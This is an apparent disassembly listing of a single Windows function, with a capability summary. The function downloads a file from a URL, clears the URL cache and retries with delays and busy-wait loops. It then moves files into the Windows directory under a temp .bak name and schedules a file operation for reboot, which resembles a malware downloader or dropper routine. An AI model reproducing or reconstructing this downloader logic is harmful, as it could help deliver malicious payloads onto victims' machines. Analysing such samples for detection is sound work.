Function at 0x4017f0
Capabilities:
Check if file exists
Download url
Get common file path
Get file attributes
Move file
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4164e5
mov eax, dword fs:[0]
push eax
sub esp, 0x22c
mov eax, dword [0x41f008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x235], cl
mov dword [ebp - 4], 1
mov edi, 8
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x21c], 0x41d088
test cl, cl
je 0x40185f
cmp dword [ebp + 0x28], 0x10
lea eax, [ebp + 0x14]
cmovae eax, dword [ebp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4019e2
mov esi, dword [ebp + 8]
cmp esi, dword [ebp + 0xc]
je 0x4019d3
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x234]
call fcn.004035c0
cmp dword [ebp - 0x220], 0x10
lea eax, [ebp - 0x234]
cmovae eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
mov eax, 0x5f5e100
nop dword [eax]
nop
sub eax, 1
jne 0x4018a0
cmp dword [ebp + 0x28], 0x10
lea edx, [ebp - 0x21c]
push edx
lea ecx, [ebp + 0x14]
cmovae ecx, dword [ebp + 0x14]
lea eax, [ebp - 0x234]
cmp dword [ebp - 0x220], 0x10
push 0
cmovae eax, dword [ebp - 0x234]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x4019ed
push 0x1770
call ebx
test edi, edi
jle 0x4019e9
dec edi
mov eax, 0x3b9aca00
nop
sub eax, 1
jne 0x4018f5
push 0x104
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.00405590
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.00405590
add esp, 0x18
lea eax, [ebp - 0x218]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push edx
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push str._s_temp_d.bak
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea ecx, [ebp - 0x114]
cmp dword [ebp + 0x28], 0x10
lea eax, [ebp + 0x14]
cmovae eax, dword [ebp + 0x14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov eax, 0x3b9aca00
nop
sub eax, 1
jne 0x401977
push 4
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov edx, dword [ebp - 0x220]
cmp edx, 0x10
jb 0x4019c7
mov ecx, dword [ebp - 0x234]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4019bd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401af2
push edx
push ecx
call fcn.00404519
add esp, 8
add esi, 0x18
cmp esi, dword [ebp + 0xc]
jne 0x401870
test edi, edi
jle 0x401a37
mov cl, byte [ebp - 0x235]
jmp 0x401840
mov esi, 1
jmp 0x401a39
xor esi, esi
jmp 0x4019fb
mov eax, 0x5f5e100
nop
sub eax, 1
jne 0x4019f2
lea esi, [eax + 1]
mov edx, dword [ebp - 0x220]
cmp edx, 0x10
jb 0x401a39
mov ecx, dword [ebp - 0x234]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401a2b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401af2
push edx
push ecx
call fcn.00404519
add esp, 8
jmp 0x401a39
xor esi, esi
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x401aa4
mov edx, dword [ebp + 0xc]
push ecx
call fcn.00403c70
mov ecx, dword [ebp + 0x10]
mov eax, 0x2aaaaaab
mov edi, dword [ebp + 8]
add esp, 4
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, edi
shl ecx, 3
cmp ecx, 0x1000
jb 0x401a85
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401af7
push ecx
push edi
call fcn.00404519
add esp, 8
mov dword [ebp + 8], 0
mov dword [ebp + 0xc], 0
mov dword [ebp + 0x10], 0
mov edx, dword [ebp + 0x28]
cmp edx, 0x10
jb 0x401ad4
mov ecx, dword [ebp + 0x14]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401aca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401af7
push edx
push ecx
call fcn.00404519
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040408c
mov esp, ebp
pop ebp
ret
call fcn.004079b6
call fcn.004079b6
int3